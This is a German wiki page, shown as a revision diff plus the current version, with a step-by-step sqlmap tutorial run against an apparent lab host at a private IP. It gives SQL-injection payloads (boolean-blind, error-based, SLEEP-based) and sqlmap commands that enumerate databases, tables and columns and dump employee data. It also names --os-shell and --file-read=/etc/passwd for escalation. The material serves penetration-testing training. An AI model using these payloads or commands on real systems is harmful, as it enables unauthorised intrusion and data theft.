SQLmap Workflow: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 19: Zeile 19:
 
! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
 
! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
 
|-
 
|-
| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || '''username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--'''
+
| username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
 
|-
 
|-
| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || '''username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)'''
+
| username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
 
|-
 
|-
| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || '''username=test' AND (SELECT SLEEP(5))--'''
+
| username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || username=test' AND (SELECT SLEEP(5))--
 
|}
 
|}
  
Zeile 32: Zeile 32:
 
== Datenbanken auflisten ==
 
== Datenbanken auflisten ==
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''
 
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''
* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').
+
* Erkenntnis: Es wurden zwei Datenbanken gefunden: '''information_schema''' und '''tuxmen'''.
 +
* Bewertung: '''information_schema''' ist eine Systemdatenbank. Fokus liegt auf '''tuxmen'''.
  
;Tabellen in der Datenbank 'verwaltung'
+
== Tabellen in der Datenbank 'tuxmen' auflisten ==
* Befehl: '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''
+
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
* Erkenntnis: SQLmap meldete keine Tabellen.
+
* Erkenntnis: Auflistung der Tabellen in der Datenbank '''tuxmen'''.
* Bewertung: Möglicherweise False Negative aufgrund der Blind-Injection und Limitierungen der Abfrage.  
+
* Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.
* Schlussfolgerung: Weitere Tests (z. B. mit erweiterten Optionen wie --time-sec oder --hex) wären erforderlich, um die Tabellen zuverlässig zu enumerieren.
 
  
== 5. Spalten in einer Tabelle auflisten ==
+
== Spalten in einer Tabelle auflisten ==
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth --columns'''
+
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
* Erkenntnis: Spaltennamen sichtbar, z. B. '''user''', '''pass'''.
+
* Erkenntnis: Spaltennamen sichtbar, z. B. '''id''', '''name''', '''rolle'''.
  
== 6. Daten exfiltrieren ==
+
== Daten exfiltrieren ==
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth -C user,pass --dump'''
+
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump'''
* Erkenntnis: Klaretextdaten der Benutzer (User/Passwort) liegen vor.
+
* Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.
  
== 7. Optional: Weitere Möglichkeiten ==
+
== Optionale Möglichkeiten ==
 
* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen
 
* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen
 
* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen
 
* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen
Zeile 55: Zeile 55:
 
= Fazit =
 
= Fazit =
 
SQLmap liefert einen strukturierten Weg:  
 
SQLmap liefert einen strukturierten Weg:  
Von der Bestätigung der Schwachstelle über die Datenbank- und Tabellenstruktur bis zur Exfiltration der Daten.  
+
Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte.  
 
Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.
 
Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.

Version vom 15. September 2025, 17:39 Uhr

SQLmap Workflow

Einleitung

SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.

Test auf Verwundbarkeit

Erkenntnisblock

[13:13:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Gefundene Verwundbarkeiten

Parameter Technik Beschreibung Beispiel-Payload
username (POST) Boolean-based blind Antwort ändert sich abhängig von TRUE/FALSE username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
username (POST) Error-based Erzwingt DB-Fehler und leakt Infos username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)
username (POST) Time-based blind Antwortzeit verzögert durch SLEEP() username=test' AND (SELECT SLEEP(5))--

Version und Banner auslesen

Datenbanken auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
  • Erkenntnis: Es wurden zwei Datenbanken gefunden: information_schema und tuxmen.
  • Bewertung: information_schema ist eine Systemdatenbank. Fokus liegt auf tuxmen.

Tabellen in der Datenbank 'tuxmen' auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables
  • Erkenntnis: Auflistung der Tabellen in der Datenbank tuxmen.
  • Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.

Spalten in einer Tabelle auflisten

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns
  • Erkenntnis: Spaltennamen sichtbar, z. B. id, name, rolle.

Daten exfiltrieren

  • sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump
  • Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.

Optionale Möglichkeiten

  • --os-shell → Versuch, Betriebssystembefehle auszuführen
  • --file-read=/etc/passwd → Datei auf dem Server auslesen
  • Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.

Fazit

SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.